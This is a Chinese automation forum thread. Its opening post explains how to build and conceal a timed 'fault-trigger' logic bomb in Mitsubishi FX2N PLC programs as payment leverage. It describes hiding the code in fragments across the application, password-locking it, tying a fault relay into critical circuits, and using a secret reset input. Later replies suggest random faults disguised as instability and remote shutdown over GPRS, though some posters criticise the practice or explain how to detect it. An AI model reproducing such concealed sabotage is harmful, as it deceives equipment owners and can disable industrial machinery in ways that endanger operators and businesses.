定时触发故障PLC程序 点击:12677 | 回复:172



老菜鸟

    
  • 精华:22帖
  • 求助:0帖
  • 帖子:301帖 | 8609回
  • 年度积分:0
  • 历史总积分:24924
  • 注册:2003年6月15日
发表于:2005-11-30 15:54:00
楼主
[color=#0000FF]一、定时触发故障PLC程序(PLC为实时时钟)[/color] 该程序是用三菱PLC编程软件GX Developer V7.08J(SW7D5C-GPPW)简体中文版所编的程序,仅适用于三菱FX2N系列PLC。 该程序是为设备制造商收取剩余款项而设的筹码,在设备制造商老板有要求时可以使用,仅适用于信誉度不好的客户。该程序一旦触发,无论设备是否处于运行状态、PLC是否处于运行状态或通电状态,指定时间以后将会准时出现故障。请谨慎使用! 该程序应当嵌入应用程序之中,为避免他人识破,可以将程序分成多块分别嵌入在应用程序的各个地方。 为避免他人修改你的程序,应当将整个程序进行加密——设置口令,具体操作方法请参阅程序加密的相关说明。 M490为故障触点,应当串联或并联在程序多个关键动作回路中。 X20为定时触发故障复位端子,要求该端子为没有被使用的端子(否则请更换为另一个没有被使用的端子)。需要解除还没有被触发的故障或已经触发的故障时,将该触点和PLC的输入COM端短接即可。如果系统当前时间还没到故障触发时间,一旦该端子与COM端子断开,故障将在预定时间触发!如果系统当前时间已经过了指定的故障触发时间,一旦该端子与COM端子断开,故障将立即触发!如果需要重新指定故障触发时间,就必须得更改指定的故障触发时间——需要对PLC进行编程! 该程序指定的故障触发时间为2007年1月1日0时0分0秒,可以进行更改。 该程序中所用到的通用继电器M481-M499、定时器T198、存储区D0-D5,请不要在程序的其它地方使用,否则该程序可能无法正常发挥作用。 对于三菱其它系列PLC或其它品牌PLC,请对程序作相应更改——各存储器请按照相应存储区域进行更改。 该程序并没有修改PLC的系统时钟,因此程序中的其它地方或和PLC通信的其它设备所调用的PLC系统时钟反映的是正确的当前日期和时间。 在程序动作之前,应当检查PLC的系统时钟是否正确反映当前日期和时间(因为PLC的默认系统时钟可能不正确,笔者就遇到过系统时钟快一个小时多一点的情况)。检查方法如下: 启动三菱PLC编程软件GX Developer V7.08J(SW7D5C-GPPW)简体中文版到一个新的窗口,将电脑与PLC正确连接(具体连接方法请参阅相关说明<比如采用SC09连接电缆或等同功能电缆,加接USB转RS232电缆(需要加安装驱动)等等>),然后点击“在线”——“PLC读取”——“确认”(对于部分笔记本电脑(比如顶星品牌龙尊系列某型号的笔记本电脑),默认串口为COM2,这种情况下需要将COM口选为COM2,具体操作方法不再赘述),然后选中“软元件内存”再点击“确定”......待软元件内存传送到电脑以后,马上检查M8018(年)、M8017(月)、M8016(日)、M8015(时)、M8014(分)、M8013(秒)是否大概是当前正确时间(请注意,软元件内存只是下载时的PLC内存,并不能实时反映PLC的当前软元件内存数据。所以,软元件内存数据中反映的系统时钟比PLC当前系统时钟要慢)。或者,采用另外一种更简单的方法:直接PLC在线连接的下拉菜单中选择PLC时间设置选项,然后就可以看见非实时显示的时钟了——这个时间是读取瞬间的时钟,不实时跟随。 如果PLC的系统时钟不能正确反映当前日期和时间,那就需要对软元件内存进行修改。修改方法为:1、直接PLC在线连接的下拉菜单中选择PLC时间设置选项,然后更改时间就可以了。但该方法一次性只能更改一回时间,一旦更改后时间就实时跟随了,无法再进行更改。如果需要再次更改,需要将该窗口关闭后重新打开,然后再进行时间的更改。 2、通过程序的相关指令(例如MOV指令写时间对应的特殊存储区D8013~D8018或通过TWR指令来写时间,具体指令此处就不再赘述了)。 通过读出软元件内存后修改软元件内存再写回去的方法是行不通的——经过多次试验,证明了PLC在写入软元件内存时根本不会重写特殊存储区的内容,也就是说特殊存储区没被列入“软元件内存”的范围之内! 以下为梯形图:
[color=#0000FF]二、定时触发故障PLC程序(PLC非实时时钟)[/color] 该程序是用三菱PLC编程软件GX Developer V7.08J(SW7D5C-GPPW)简体中文版所编的程序,仅适用于三菱FX2N系列PLC。 该程序是为设备制造商收取剩余款项而设的筹码,在设备制造商老板有要求时可以使用,仅适用于信誉度不好的客户。该程序一旦触发,无论设备是否处于运行状态、PLC是否处于运行状态或通电状态,一年以后(时间长短可以修改)将会准时出现故障。请谨慎使用! 该程序应当嵌入应用程序之中,为避免他人识破,可以将程序分成多块分别嵌入在应用程序的各个地方。 为避免他人修改你的程序,应当将整个程序进行加密——设置口令,具体操作方法请参阅程序加密的相关说明。 X0是定时触发故障触发端子,X0只要在PLC处于运行状态下至少动作过一次就可以了。 M490为故障触点,应当串联或并联在程序多个关键动作回路中。 X1为定时触发故障复位端子,要求在通常情况下,连续动作时间不能超过30秒(时间可以修改),否则请改为另外一个输入触点。需要解除故障触发功能时,让X1保持通电30秒(时间可以修改)即可。也可以将X1改为最后一个未用的输入触点,需要永远解除故障触发功能时,将该触点和PLC的输入COM端短接即可。如果只是让定时触发故障复位端子接通超过30秒(时间可以修改)然后断开,那么一年以后(时间长短可以修改)仍然会准时出现故障。如果希望永远解除定时故障触发功能,请将定时触发故障复位端子和PLC的输入COM端短接即可。 该程序中所用到的通用继电器M480-M499、保持继电器M1023、定时器T198、存储区D0-D5,请不要在程序的其它地方使用,否则该程序可能无法正常发挥作用。 对于三菱其它系列PLC或其它品牌PLC,请对程序作相应更改——原保持继电器M1023更换后仍然具有断电保持功能,其它存储器请按照相应存储区域进行更改。 该程序动作后,PLC的系统时钟并非是实时时钟,因此程序中的其它地方或和PLC通信的其它设备所调用的PLC系统时钟并不能正确反映当前日期和时间。 以下为梯形图:



何三毛

  • 精华:0帖
  • 求助:0帖
  • 帖子:0帖 | 1回
  • 年度积分:0
  • 历史总积分:1
  • 注册:2006年3月24日
发表于:2006-03-28 17:11:00
41楼
如果是简单的设备程序,别人可以不用;改为其他控制。

二聋戏猪

  • 精华:0帖
  • 求助:0帖
  • 帖子:41帖 | 240回
  • 年度积分:0
  • 历史总积分:377
  • 注册:2006年4月11日
发表于:2006-04-11 19:38:00
42楼
请问三菱FX1S的PLC有时间继电器吗?就是比如我要驱动Y000   10S
然后自动断电,可以实现吗?有别与延时的。

老菜鸟

  • 精华:22帖
  • 求助:0帖
  • 帖子:301帖 | 8609回
  • 年度积分:0
  • 历史总积分:24924
  • 注册:2003年6月15日
发表于:2006-04-12 21:32:00
43楼
这个电路三菱编程手册上有

向前辈请教

  • 精华:0帖
  • 求助:0帖
  • 帖子:2帖 | 10回
  • 年度积分:0
  • 历史总积分:20
  • 注册:2003年6月06日
发表于:2006-04-13 11:18:00
44楼

向前辈请教

  • 精华:0帖
  • 求助:0帖
  • 帖子:2帖 | 10回
  • 年度积分:0
  • 历史总积分:20
  • 注册:2003年6月06日
发表于:2006-04-13 11:19:00
45楼
本人没怎么接触过软件。想高手问个低级的问题
M430=1PLC就会别锁定吗?

xzy568

  • 精华:1帖
  • 求助:0帖
  • 帖子:22帖 | 480回
  • 年度积分:0
  • 历史总积分:991
  • 注册:2002年9月08日
发表于:2006-04-13 12:03:00
46楼
最好的方法是使用随机数,使程序随机发生不正常,这样看起来象是程序不完善,不稳定造成的,就不好找到做手脚的地方.

向前辈请教

  • 精华:0帖
  • 求助:0帖
  • 帖子:2帖 | 10回
  • 年度积分:0
  • 历史总积分:20
  • 注册:2003年6月06日
发表于:2006-04-13 13:46:00
47楼
高手帮我解答一下啊  谢谢

向前辈请教

  • 精华:0帖
  • 求助:0帖
  • 帖子:2帖 | 10回
  • 年度积分:0
  • 历史总积分:20
  • 注册:2003年6月06日
发表于:2006-04-13 13:46:00
48楼
高手帮我解答一下啊  谢谢

parameter

  • 精华:0帖
  • 求助:0帖
  • 帖子:31帖 | 57回
  • 年度积分:0
  • 历史总积分:96
  • 注册:2004年10月20日
发表于:2006-04-17 22:23:00
49楼
请问怎么在程式中加密,这个我可不懂。
内行人指点一下。

wangxc

  • 精华:0帖
  • 求助:0帖
  • 帖子:2帖 | 126回
  • 年度积分:0
  • 历史总积分:157
  • 注册:2003年3月15日
发表于:2006-04-18 11:34:00
50楼
路过

xsfsd

  • 精华:0帖
  • 求助:0帖
  • 帖子:4帖 | 34回
  • 年度积分:0
  • 历史总积分:127
  • 注册:2003年2月24日
发表于:2006-04-18 20:01:00
51楼
不用时钟,可否实现定时故障触发?试验中……

不懂工控

  • 精华:0帖
  • 求助:0帖
  • 帖子:32帖 | 647回
  • 年度积分:0
  • 历史总积分:583
  • 注册:2004年9月23日
发表于:2006-04-28 23:17:00
52楼
谢谢楼主

不懂工控

  • 精华:0帖
  • 求助:0帖
  • 帖子:32帖 | 647回
  • 年度积分:0
  • 历史总积分:583
  • 注册:2004年9月23日
发表于:2006-04-28 23:26:00
53楼
支持,害人之心不可有,但防人之心不可无,特别是信用差的老剌

QQ流浪汉

  • 精华:0帖
  • 求助:0帖
  • 帖子:9帖 | 265回
  • 年度积分:0
  • 历史总积分:813
  • 注册:2004年1月30日
发表于:2006-05-10 18:57:00
54楼
呵呵,简单.我见过别人做的加密:运行(通电)20个月后,程序停止.他不是按照日历时钟来的,他在程序中做了个时间记数器,当运行时间累积到20个月的时候,将不在运行.后来厂家找我去,把他程序都换掉了,他们之间也就没有业务来往了.这样做影响很坏的!建议不要采用这种方式.

老菜鸟

  • 精华:22帖
  • 求助:0帖
  • 帖子:301帖 | 8609回
  • 年度积分:0
  • 历史总积分:24924
  • 注册:2003年6月15日
发表于:2006-09-07 10:20:00
55楼
对于挂触摸屏、显示器的系统,可以设置在一定时间后(付款最后期限)在触摸屏或显示器上弹出密码输入口令,正确输入口令后机器解锁,否则机器不运行或功能、操作权限受限等等。。。
当付款完成后设备供应商就可以提供密码给使用者。
我记得住清楚的就是摩托车发动机的打号机,基本都采用这种方法来作为货款回笼的技术支持。我看效果很好,也没谁去破译他的电脑程序——得不偿失呀。。。

老菜鸟

  • 精华:22帖
  • 求助:0帖
  • 帖子:301帖 | 8609回
  • 年度积分:0
  • 历史总积分:24924
  • 注册:2003年6月15日
发表于:2006-09-07 10:37:00
56楼
我在这里不从技术角度上去分析你去帮别人解-密的问题,只是谈谈我的看法。
甲方欠了设备制造商的货款不给,这部分货款大概为10%——一般情况下都是10%,5%的情况很少。不管甲方和设备制造商有什么纠纷,但有一点可以肯定的就是:[b][color=#FF0000]甲方欠了设备制造商的货款![/color][/b]这种情况,以甲方不守信用的居多。。。
一个工程总款项少则几万,多则几十万、上百万,10%大概就是几百到几万。。。
而请人解-密的话,花的钱大概是几千——据我所知,根据程序和加-密的难易程度不同,大概在1000~8000人民币左右。。。
你和甲方都是双赢的。。。
而最终受害的是谁呢——[b][color=#FF0000]是设备制造商[/color]![/b]
但因为这笔钱从绝对数字上来讲,还是不是非常大,诉诸法律的话,一是耗时、二是耗精力、三是耗钱,所以设备制造商也是很头疼的。。。
真把设备制造商逼急了,也有打官司的,我就知道一个案例,最后甲方输了,被判限时付清余款,强制执行。。。
。。。。。。

老菜鸟

  • 精华:22帖
  • 求助:0帖
  • 帖子:301帖 | 8609回
  • 年度积分:0
  • 历史总积分:24924
  • 注册:2003年6月15日
发表于:2006-09-07 10:49:00
57楼
从技术角度来说,加密和解-密本来就是互相克制的——就像病毒和杀毒软件、黑客和红客一样,在一个时期内,解-密技术肯定无法超越加密技术:因为先加密,才有解-密的。。。
现在的病毒可厉害了,来不来就把杀毒软件和防火墙关闭——终止其服务,而且无法再启动,重新安装和升级可能也没有,只好克隆、还原或重做系统了。。。大概1周左右的时间,杀毒软件才可以杀这些病毒。。。
现在黑客可厉害了,来不来就侵入XX网站,美国重要机构、权威机构网站(包括一些杀毒软件、防火墙软件制造商的网站)。。。防不胜防。。。
不要去蔑视别人的加密技术友多低,那只是你没碰到加密高手罢了(申明:我并非暗示我就是加密高手)。。。
最后声明一下:上面的比方不完全恰当,因为病毒和黑客是反面的,杀毒软件和红客是正面的。。。
而,加密技术是正面的,解-密、破-解技术是反面的。。。
还有,警察和匪徒的例子就不列举了。。。

老菜鸟

  • 精华:22帖
  • 求助:0帖
  • 帖子:301帖 | 8609回
  • 年度积分:0
  • 历史总积分:24924
  • 注册:2003年6月15日
发表于:2006-09-07 11:04:00
58楼
最后想到:对于比较大的项目,也可以采用普通遥控装置或GPRS通行方式遥控设备的状态,支持货款的回笼。。。不过不到迫不得已最好不用,而且用的时候也要讲究方法,这就是商务问题了。。。

老菜鸟

  • 精华:22帖
  • 求助:0帖
  • 帖子:301帖 | 8609回
  • 年度积分:0
  • 历史总积分:24924
  • 注册:2003年6月15日
发表于:2006-09-07 11:10:00
59楼
如果甲方耍赖皮的话,设备制造商再也不会跟这样的单位合作。。。
谁稀罕你的工程,做了都拿不到钱。。。
如果你是设备制造商,你会怎样想???

hzksjq

  • 精华:0帖
  • 求助:0帖
  • 帖子:4帖 | 65回
  • 年度积分:0
  • 历史总积分:119
  • 注册:2003年3月13日
发表于:2006-09-07 22:28:00
60楼
你的程序再多,但触发故障的继电器只有一个。如果遇到此类问题,首先要查的是计数器,然后就是程序中有没有D8013-8018的时间寄存器。查到底最终会查到你的M490的。此类方法只是下策!

热门招聘
相关主题

官方公众号

智造工程师